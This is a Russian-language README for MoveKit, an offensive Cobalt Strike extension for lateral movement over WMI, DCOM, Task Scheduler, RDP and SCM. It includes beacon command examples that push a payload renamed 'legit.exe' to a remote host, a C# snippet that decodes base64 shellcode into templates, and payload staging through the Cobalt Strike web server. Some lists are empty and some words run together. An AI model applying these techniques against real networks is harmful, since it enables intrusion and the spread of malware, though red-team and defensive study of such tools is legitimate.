
Набор Cobalt Strike для бокового перемещения
MoveKit — это расширение встроенного в Cobalt Strike латерального перемещения, использующее функцию execute_assembly с сборками SharpMove и SharpRDP .NET. Агрессор-скрипт обрабатывает создание полезной нагрузки путем чтения файлов шаблонов для определенного типа выполнения.
ВАЖНО: Для использования скрипта пользователю нужно только загрузить агрессор-скрипт MoveKit.cna, который загрузит все остальные необходимые скрипты. Кроме того, в зависимости от выполняемых действий, необходимо скомпилировать сборки SharpMove и SharpRDP и поместить их в каталог Assemblies. Наконец, некоторые операции перемещения файлов требуют динамической компиляции, для чего понадобится Mono.
При загрузке агрессор-скрипта в menubar появится селектор с именем Move. Доступно несколько вариантов выбора. Во-первых, пользователи могут выполнить команду на удаленной системе через WMI, DCOM, Task Scheduler, RDP или SCM. Во-вторых, существует механизм выполнения Command, который использует загрузочные приманки для получения и выполнения файлов. В-третьих, метод File помещает файл в систему и выполняет его. Есть , который не выполняет никаких действий, только переносит данные. Наконец, есть настройки , чтобы ускорить работу с GUI и использовать их с командами beacon. Настройки по умолчанию используются для всего, что может принимать значения по умолчанию.
Write File OnlyDefaultДля использования команд beacon считываются настройки по умолчанию и несколько аргументов командной строки. Пример команды beacon:
<exec-type> <target> <listener> <filename>
move-msbuild 192.168.1.1 http move.csproj
Кроме того, пользовательская встроенная команда beacon немного отличается. Пример команды:
move-pre-custom-file <target> <local-file> <remote-filename>
move-pre-custom-file computer001.local /root/payload.exe legit.exe
Поле location — самая сложная часть проекта. При выборе перемещения файлов через WMI поле location будет использоваться; если выбран SMB, то оно не используется (можно оставить пустым). Location принимает три различных значения. Во-первых, если location — это URL, то при создании полезной нагрузки она будет размещена на веб-сервере Cobalt Strike. Хост beacon, с которого будет выполняться сборка, сделает веб-запрос к URL и получит файл, который затем будет использован в событийной подпрограмме на целевом хосте для записи файла. Во-вторых, если location — это каталог Windows, то созданный файл будет загружен на хост beacon, и сборка прочитает его из файловой системы и сохранит в событийной подпрограмме для записи на удаленный хост. Наконец, если поле location содержит путь Linux или слово local, то полезная нагрузка будет динамически скомпилирована в выполняемую сборку. Однако если размер файла превышает лимит в 1 МБ, будет показана ошибка.
Для всех файловых методов полезная нагрузка создается через агрессор-скрипт. Однако, если полезная нагрузка уже создана, пользователи могут выбрать опцию Custom (Prebuilt) для её перемещения и выполнения.
Набор содержит различные методы перемещения файлов, триггеры выполнения и типы полезных нагрузок.
Перемещение файлов — это метод, используемый для доставки файла на удаленный хост. Типы перемещения файлов:
Триггер команды — это метод, используемый для выполнения определенной команды на удаленном хосте. Типы триггеров команд:
Выполнение только shellcode:
Хайджеки:
Для замены шаблона необходимо выполнить два требования. Во-первых, шаблон должен быть назван в соответствии с техникой (например, msbuild.csproj). Во-вторых, исходный код должен содержать строку $$PAYLOAD$$, куда будет помещен shellcode в base64, и уметь преобразовывать base64-строку в массив байтов. Пример для C#:
string strSC = "$$PAYLOAD$$";
byte[] sc = Convert.FromBase64String(strSC);
Было добавлено изменение, позволяющее в диалоге 'Update Defaults' обновлять 'Find and Replace string' и форматы shellcode для настроек по умолчанию. По умолчанию это $$PAYLOAD$$ и base64.
execute-assembly, поэтому она внедряется в жертвенный процесс, как и другие post-exploitation задачиFile или CommandЧасть кода, шаблонов или вдохновения взяты от других людей и проектов
Вероятно, где-то есть ошибки, они имеют обыкновение время от времени появляться. Просто сообщите о них, и я их исправлю.